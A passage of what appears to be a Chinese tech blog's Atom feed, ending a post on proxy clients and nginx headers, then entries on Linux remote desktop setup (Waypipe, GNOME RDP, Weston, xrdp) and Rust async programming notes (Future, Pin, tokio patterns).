&lt;li&gt;&lt;strong&gt;mihomo&lt;&#x2F;strong&gt; &#x2F; &lt;strong&gt;clash verge&lt;&#x2F;strong&gt; — Clash 系客户端&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;v2rayN&lt;&#x2F;strong&gt; — Windows 客户端&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;v2raya&lt;&#x2F;strong&gt; — 透明代理&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;hiddify-app&lt;&#x2F;strong&gt; — sing-box 前端&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;tou-ming-wang-guan&quot;&gt;透明网关&lt;&#x2F;h3&gt;
&lt;p&gt;在网关上运行 sing-box，其他机器将网关指向该机器即可智能分流。注意：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;其他机器的 DNS 必须是公网 DNS&lt;&#x2F;li&gt;
&lt;li&gt;或配置特定入站端口接管 DNS 请求&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;nginx-dai-li-pei-zhi&quot;&gt;Nginx 代理配置&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;proxy-set-header-host&quot;&gt;proxy_set_header Host&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$proxy_host&lt;&#x2F;code&gt;：upstream 服务器的 IP&#x2F;域名（默认值）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$host&lt;&#x2F;code&gt;：客户端请求头中的 Host，缺失时取虚拟主机名（推荐）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;$http_host&lt;&#x2F;code&gt;：客户端请求头中的 Host，缺失时为空&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;推荐使用 &lt;code&gt;$host&lt;&#x2F;code&gt; 避免 Host 头部丢失的情况。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;x-forwarded-for&quot;&gt;X-Forwarded-For&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;X-Forwarded-For: client, proxy1, proxy2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;每经过一层代理，将请求来源 IP 追加到右侧。最左边的 IP 是原始客户端。该字段易被伪造，应谨慎使用。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gong-ju-yu-can-kao&quot;&gt;工具与参考&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Cloudflare 优选 IP：&lt;code&gt;CloudflareSpeedTest&lt;&#x2F;code&gt;、&lt;code&gt;better-cloudflare-ip&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;CF 中转 IP 获取：&lt;code&gt;zip.baipiao.eu.org&lt;&#x2F;code&gt;、电报 &lt;code&gt;@cf_push&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;IP 纯净度查询：&lt;code&gt;scamalytics.com&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在线测速：&lt;code&gt;speedtest.net&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;FOFA 搜索 CF IP：&lt;code&gt;server=&quot;cloudflare&quot; &amp;amp;&amp;amp; country=&quot;US&quot; &amp;amp;&amp;amp; port=&quot;443&quot;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>远程桌面配置</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/remote-desktop/"/>
        <id>https://vercel.juzhong.asia/2025/07/remote-desktop/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/remote-desktop/">&lt;h1 id=&quot;yuan-cheng-zhuo-mian-pei-zhi&quot;&gt;远程桌面配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;du-li-hui-hua-vs-ping-mu-gong-xiang&quot;&gt;独立会话 vs 屏幕共享&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;模式&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;独立会话&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;一台机器多人同时使用，各自会话隔离（RDP 支持）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;屏幕共享&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;多人共享同一会话，抢占键鼠焦点（moonlight&#x2F;parsec）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;wayland-fang-an&quot;&gt;Wayland 方案&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;waypipe-ssh-ying-yong-ji-zhuan-fa&quot;&gt;Waypipe + SSH（应用级转发）&lt;&#x2F;h3&gt;
&lt;p&gt;适用于远程运行单个 Wayland 原生应用，低带宽环境友好。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装
sudo apt install waypipe openssh

# 启动远程应用
waypipe -c lz4=9 ssh user@remote firefox

# 多线程渲染 + 无光标传输（减少带宽）
waypipe -j 4 -c lz4=9 ssh user@remote blender
waypipe -C none ssh user@remote gedit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;限制：不转发 XWayland 应用；客户端和服务端 Wayland 协议版本需一致。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gnome-remote-desktop-g-r-d&quot;&gt;GNOME Remote Desktop (g-r-d)&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;GNOME 内置 RDP 服务端&lt;&#x2F;li&gt;
&lt;li&gt;GNOME 47 起支持&lt;strong&gt;持久化会话&lt;&#x2F;strong&gt;（重连时不注销）&lt;&#x2F;li&gt;
&lt;li&gt;GNOME 46 及以下重连会注销当前会话&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;配置文件：&lt;code&gt;~&#x2F;.config&#x2F;gr-d&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;weston-rdp&quot;&gt;Weston RDP&lt;&#x2F;h3&gt;
&lt;p&gt;企业级 RDP，支持 Windows &lt;code&gt;mstsc.exe&lt;&#x2F;code&gt; 直接连接。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.config&#x2F;weston.ini&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[screen-share]
module=rdp.so
address=0.0.0.0
port=3389

[core]
gbm-format=argb8888

[rdp]
color-depth=32
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;weston --backend=rdp-backend.so
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;krdp&quot;&gt;Krdp&lt;&#x2F;h3&gt;
&lt;p&gt;KDE Plasma 原生 RDP，仅限 KDE 环境。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wprs&quot;&gt;wprs&lt;&#x2F;h3&gt;
&lt;p&gt;Rootless Wayland RDP 服务端。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;x11-fang-an&quot;&gt;X11 方案&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;x11 转发（SSH -X）&lt;&#x2F;td&gt;&lt;td&gt;低带宽，单个应用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xrdp&lt;&#x2F;td&gt;&lt;td&gt;无脑首选，兼容性最好&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;FreeRDP&lt;&#x2F;td&gt;&lt;td&gt;高性能 + RDP 扩展&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;x2go&lt;&#x2F;td&gt;&lt;td&gt;多会话支持&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ThinLinc&lt;&#x2F;td&gt;&lt;td&gt;商用方案&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;xrdp-ren-zheng-dan-chuang-xiu-fu&quot;&gt;xrdp 认证弹窗修复&lt;&#x2F;h3&gt;
&lt;p&gt;创建 &lt;code&gt;&#x2F;etc&#x2F;polkit-1&#x2F;localauthority.conf.d&#x2F;02-allow-colord.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;conf&quot; class=&quot;language-conf &quot;&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;polkit.addRule(function(action, subject) {
  if ((action.id == &amp;quot;org.freedesktop.color-manager.create-device&amp;quot; ||
       action.id == &amp;quot;org.freedesktop.color-manager.create-profile&amp;quot; ||
       action.id == &amp;quot;org.freedesktop.color-manager.delete-device&amp;quot; ||
       action.id == &amp;quot;org.freedesktop.color-manager.delete-profile&amp;quot; ||
       action.id == &amp;quot;org.freedesktop.color-manager.modify-device&amp;quot; ||
       action.id == &amp;quot;org.freedesktop.color-manager.modify-profile&amp;quot;) &amp;amp;&amp;amp;
       subject.isInGroup(&amp;quot;{users}&amp;quot;)) {
    return polkit.Result.YES;
  }
});
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fang-an-dui-bi&quot;&gt;方案对比&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;协议&lt;&#x2F;th&gt;&lt;th&gt;会话类型&lt;&#x2F;th&gt;&lt;th&gt;适用场景&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Waypipe&lt;&#x2F;td&gt;&lt;td&gt;Wayland&#x2F;SSH&lt;&#x2F;td&gt;&lt;td&gt;应用级&lt;&#x2F;td&gt;&lt;td&gt;单应用远程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;g-r-d&lt;&#x2F;td&gt;&lt;td&gt;RDP&lt;&#x2F;td&gt;&lt;td&gt;独立+共享&lt;&#x2F;td&gt;&lt;td&gt;GNOME 桌面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Weston RDP&lt;&#x2F;td&gt;&lt;td&gt;RDP&lt;&#x2F;td&gt;&lt;td&gt;独立&lt;&#x2F;td&gt;&lt;td&gt;企业 Windows 接入&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xrdp&lt;&#x2F;td&gt;&lt;td&gt;RDP&lt;&#x2F;td&gt;&lt;td&gt;独立&lt;&#x2F;td&gt;&lt;td&gt;X11 桌面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;moonlight&#x2F;sunshine&lt;&#x2F;td&gt;&lt;td&gt;自定义&lt;&#x2F;td&gt;&lt;td&gt;屏幕共享&lt;&#x2F;td&gt;&lt;td&gt;游戏&#x2F;低延迟&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;parsec&#x2F;gameviewer&lt;&#x2F;td&gt;&lt;td&gt;自定义&lt;&#x2F;td&gt;&lt;td&gt;屏幕共享&lt;&#x2F;td&gt;&lt;td&gt;远程游戏&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;gnome-47-rdp-yi-zhi-wen-ti&quot;&gt;GNOME 47 RDP 已知问题&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;gnome-shell 加载 NVIDIA 驱动后调用 MESA，增加闪退概率&lt;&#x2F;li&gt;
&lt;li&gt;幽灵账户 + u→g 组权限：firefox&#x2F;edge 无法保持 cookie&#x2F;localstorage（可能与 keyring 相关）&lt;&#x2F;li&gt;
&lt;li&gt;aRDP 客户端尚未支持 Super Key&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Rust 技术笔记</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/rust-notes/"/>
        <id>https://vercel.juzhong.asia/2025/07/rust-notes/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/rust-notes/">&lt;h1 id=&quot;rust-ji-shu-bi-ji&quot;&gt;Rust 技术笔记&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yi-bu-bian-cheng-he-xin-gai-nian&quot;&gt;异步编程核心概念&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;async-await-yu-future&quot;&gt;async&#x2F;await 与 Future&lt;&#x2F;h3&gt;
&lt;p&gt;Rust 的异步模型与其他语言的关键差异：&lt;strong&gt;Future 是惰性的&lt;&#x2F;strong&gt;，只有被 &lt;code&gt;.await&lt;&#x2F;code&gt; 或 executor 轮询时才执行。JavaScript 的 Promise 一旦创建就开始执行，Rust 的 Future 不会被轮询就什么都不做。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;async fn&lt;&#x2F;code&gt; 和 &lt;code&gt;async {}&lt;&#x2F;code&gt; 是语法糖，返回一个实现了 &lt;code&gt;Future&lt;&#x2F;code&gt; trait 的状态机。编译器会将其转换为 &lt;code&gt;GenFuture&lt;&#x2F;code&gt; 结构。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub trait Future {
    type Output;
    fn poll(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;, cx: &amp;amp;mut Context&amp;lt;&amp;#x27;_&amp;gt;) -&amp;gt; Poll&amp;lt;Self::Output&amp;gt;;
}

pub enum Poll&amp;lt;T&amp;gt; {
    Ready(T),
    Pending,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yi-bu-vs-duo-xian-cheng&quot;&gt;异步 vs 多线程&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;同步&lt;&#x2F;th&gt;&lt;th&gt;多线程&lt;&#x2F;th&gt;&lt;th&gt;async&#x2F;await&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;IO 等待时间&lt;&#x2F;td&gt;&lt;td&gt;time1 + time2&lt;&#x2F;td&gt;&lt;td&gt;max(time1, time2)&lt;&#x2F;td&gt;&lt;td&gt;max(time1, time2)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;资源开销&lt;&#x2F;td&gt;&lt;td&gt;最低&lt;&#x2F;td&gt;&lt;td&gt;高（每任务一线程）&lt;&#x2F;td&gt;&lt;td&gt;低（协程）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;适用场景&lt;&#x2F;td&gt;&lt;td&gt;简单脚本&lt;&#x2F;td&gt;&lt;td&gt;CPU 密集型&lt;&#x2F;td&gt;&lt;td&gt;IO 密集型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 异步并发读取两个文件
let (content1, content2) = try_join!(
    fs::read_to_string(&amp;quot;.&amp;#x2F;Cargo.toml&amp;quot;),
    fs::read_to_string(&amp;quot;.&amp;#x2F;Cargo.lock&amp;quot;),
)?;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;executor-diao-du-qi&quot;&gt;Executor 调度器&lt;&#x2F;h3&gt;
&lt;p&gt;Rust 在语言层面不提供 executor，需要在生态中选择：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;tokio&lt;&#x2F;strong&gt; — 最主流的异步运行时&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;async-std&lt;&#x2F;strong&gt; — API 贴近标准库&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;smol&lt;&#x2F;strong&gt; — 轻量级&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;futures&lt;&#x2F;strong&gt; — 官方试验性运行时&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Reactor Pattern&lt;&#x2F;strong&gt;：Executor 维护就绪队列和等待队列，Reactor 利用 epoll&#x2F;kqueue&#x2F;IOCP 监听 IO 事件，通过 &lt;code&gt;Waker.wake()&lt;&#x2F;code&gt; 唤醒挂起的 Future。Tokio 采用 work-stealing 多线程调度。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xie-zuo-shi-diao-du-de-zhu-yi-shi-xiang&quot;&gt;协作式调度的注意事项&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;避免在异步任务中执行计算密集型操作&lt;&#x2F;strong&gt;——会饿死其他任务&lt;&#x2F;li&gt;
&lt;li&gt;CPU 密集任务用线程池，通过 channel 与异步任务通信&lt;&#x2F;li&gt;
&lt;li&gt;必要时使用 &lt;code&gt;tokio::task::yield_now()&lt;&#x2F;code&gt; 主动让出 CPU&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 线程与异步任务的 channel 通信
let (sender, mut receiver) = mpsc::unbounded_channel::&amp;lt;(String, oneshot::Sender&amp;lt;String&amp;gt;)&amp;gt;();

thread::spawn(move || {
    while let Some((line, reply)) = receiver.blocking_recv() {
        let result = compute_heavy(&amp;amp;line);
        reply.send(result).ok();
    }
});

&amp;#x2F;&amp;#x2F; 在异步任务中：
sender.send((data, reply))?;
let result = reply_receiver.await?;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;async-sheng-ming-zhou-qi&quot;&gt;async 生命周期&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;async fn&lt;&#x2F;code&gt; 返回的 Future 生命周期受限于引用参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;async fn borrow_x(x: &amp;amp;u8) -&amp;gt; u8 { *x }
&amp;#x2F;&amp;#x2F; 等价于
fn borrow_x&amp;lt;&amp;#x27;a&amp;gt;(x: &amp;amp;&amp;#x27;a u8) -&amp;gt; impl Future&amp;lt;Output = u8&amp;gt; + &amp;#x27;a {
    async move { *x }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;解决引用生命周期问题&lt;&#x2F;strong&gt;：将参数和 async 调用放在同一个 async 块内：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn good() -&amp;gt; impl Future&amp;lt;Output = u8&amp;gt; {
    async {
        let x = 5;
        borrow_x(&amp;amp;x).await
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;async-move&quot;&gt;async move&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;不 &lt;code&gt;move&lt;&#x2F;code&gt;：多个 async 块可共享同一个局部变量（在作用域内）&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;move&lt;&#x2F;code&gt;：所有权转移，消除借用生命周期约束&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yi-bu-dai-ma-zhong-de-mutex&quot;&gt;异步代码中的 Mutex&lt;&#x2F;h3&gt;
&lt;p&gt;标准库的 &lt;code&gt;MutexGuard&lt;&#x2F;code&gt; 不能跨越 &lt;code&gt;.await&lt;&#x2F;code&gt;，必须使用异步友好的 &lt;code&gt;tokio::sync::Mutex&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let db = Arc::new(tokio::sync::Mutex::new(DB));
let mut guard = db.lock().await;
guard.commit().await?;  &amp;#x2F;&amp;#x2F; std::sync::Mutex 这里会编译失败
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pin-yu-unpin&quot;&gt;Pin 与 Unpin&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;wei-shen-me-xu-yao-pin&quot;&gt;为什么需要 Pin&lt;&#x2F;h3&gt;
&lt;p&gt;async 函数编译后生成自引用结构——Future 内部的字段可能引用同一结构中的其他字段。如果这个结构被移动（move&#x2F;swap），自引用指针就会指向旧地址，导致内存安全问题。&lt;&#x2F;p&gt;
&lt;p&gt;Pin 保证被 Pin 住的值不会再被移动。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;unpin&quot;&gt;Unpin&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;大多数类型自动实现 &lt;code&gt;Unpin&lt;&#x2F;code&gt;，表示可以安全移动&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;async&lt;&#x2F;code&gt; 生成的 Future 默认是 &lt;code&gt;!Unpin&lt;&#x2F;code&gt; 的&lt;&#x2F;li&gt;
&lt;li&gt;添加 &lt;code&gt;PhantomPinned&lt;&#x2F;code&gt; 字段可以显式声明 &lt;code&gt;!Unpin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shi-jian&quot;&gt;实践&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use std::pin::Pin;
use std::marker::PhantomPinned;

&amp;#x2F;&amp;#x2F; 固定到栈上（unsafe）
let mut val = MyStruct::new();
let mut pinned = unsafe { Pin::new_unchecked(&amp;amp;mut val) };

&amp;#x2F;&amp;#x2F; 固定到堆上（safe）
let boxed: Pin&amp;lt;Box&amp;lt;MyStruct&amp;gt;&amp;gt; = Box::pin(val);

&amp;#x2F;&amp;#x2F; 用 pin_mut! 宏固定栈变量
pin_utils::pin_mut!(fut);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当需要 Future 实现 &lt;code&gt;Unpin&lt;&#x2F;code&gt; 时，使用 &lt;code&gt;Box::pin()&lt;&#x2F;code&gt; 或 &lt;code&gt;pin_mut!()&lt;&#x2F;code&gt; 将其固定。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;stream-trait&quot;&gt;Stream trait&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Stream&lt;&#x2F;code&gt; 类似异步版的 &lt;code&gt;Iterator&lt;&#x2F;code&gt;，可以多次 yield 值：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;pub trait Stream {
    type Item;
    fn poll_next(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;, cx: &amp;amp;mut Context&amp;lt;&amp;#x27;_&amp;gt;) -&amp;gt; Poll&amp;lt;Option&amp;lt;Self::Item&amp;gt;&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;常用方法在 &lt;code&gt;StreamExt&lt;&#x2F;code&gt; trait 中（需引入 &lt;code&gt;futures&lt;&#x2F;code&gt; crate）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tokio-chang-yong-mo-shi&quot;&gt;Tokio 常用模式&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;scoped-task&quot;&gt;Scoped Task&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;tokio_scoped::scope(|scope| {
    scope.spawn(async {
        v.push(&amp;#x27;!&amp;#x27;);
    });
});
assert_eq!(v.as_str(), &amp;quot;Hello!&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;futuresunordered&quot;&gt;FuturesUnordered&lt;&#x2F;h3&gt;
&lt;p&gt;并发执行多个 Future，按完成顺序获取结果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let mut workers = FuturesUnordered::new();
for i in 0..5 {
    workers.push(do_work(i));
}
while let Some(result) = workers.next().await {
    &amp;#x2F;&amp;#x2F; 处理结果
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;join-all&quot;&gt;join_all&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let results: Vec&amp;lt;String&amp;gt; = join_all(
    urls.iter().map(|url| fetch(url))
).await;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-yong-dai-ma-pian-duan&quot;&gt;常用代码片段&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;cong-vec-zhong-tong-shi-huo-qu-duo-ge-ke-bian-yin-yong&quot;&gt;从 Vec 中同时获取多个可变引用&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;let mut v = vec![String::from(&amp;quot;abc&amp;quot;), String::from(&amp;quot;def&amp;quot;)];
if let [s0, s1] = &amp;amp;mut v[..] {
    s0.push_str(s1);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;hrtb-gao-jie-trait-yue-shu&quot;&gt;HRTB（高阶 trait 约束）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn foo(b: Box&amp;lt;dyn DoSomething&amp;lt;&amp;amp;usize&amp;gt;&amp;gt;, s: &amp;amp;usize) {
    b.do_sth(s);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yong-trait-fang-fa-bi-xu-yin-ru-trait&quot;&gt;使用 trait 方法必须引入 trait&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;use futures::StreamExt;  &amp;#x2F;&amp;#x2F; 不同 crate 的 trait 可用 as 别名
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;gdb-diao-shi-rust&quot;&gt;GDB 调试 Rust&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ban-ben-pi-pei&quot;&gt;版本匹配&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;rustup default 1.82.0  # 确保编译版本与调试版本一致
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
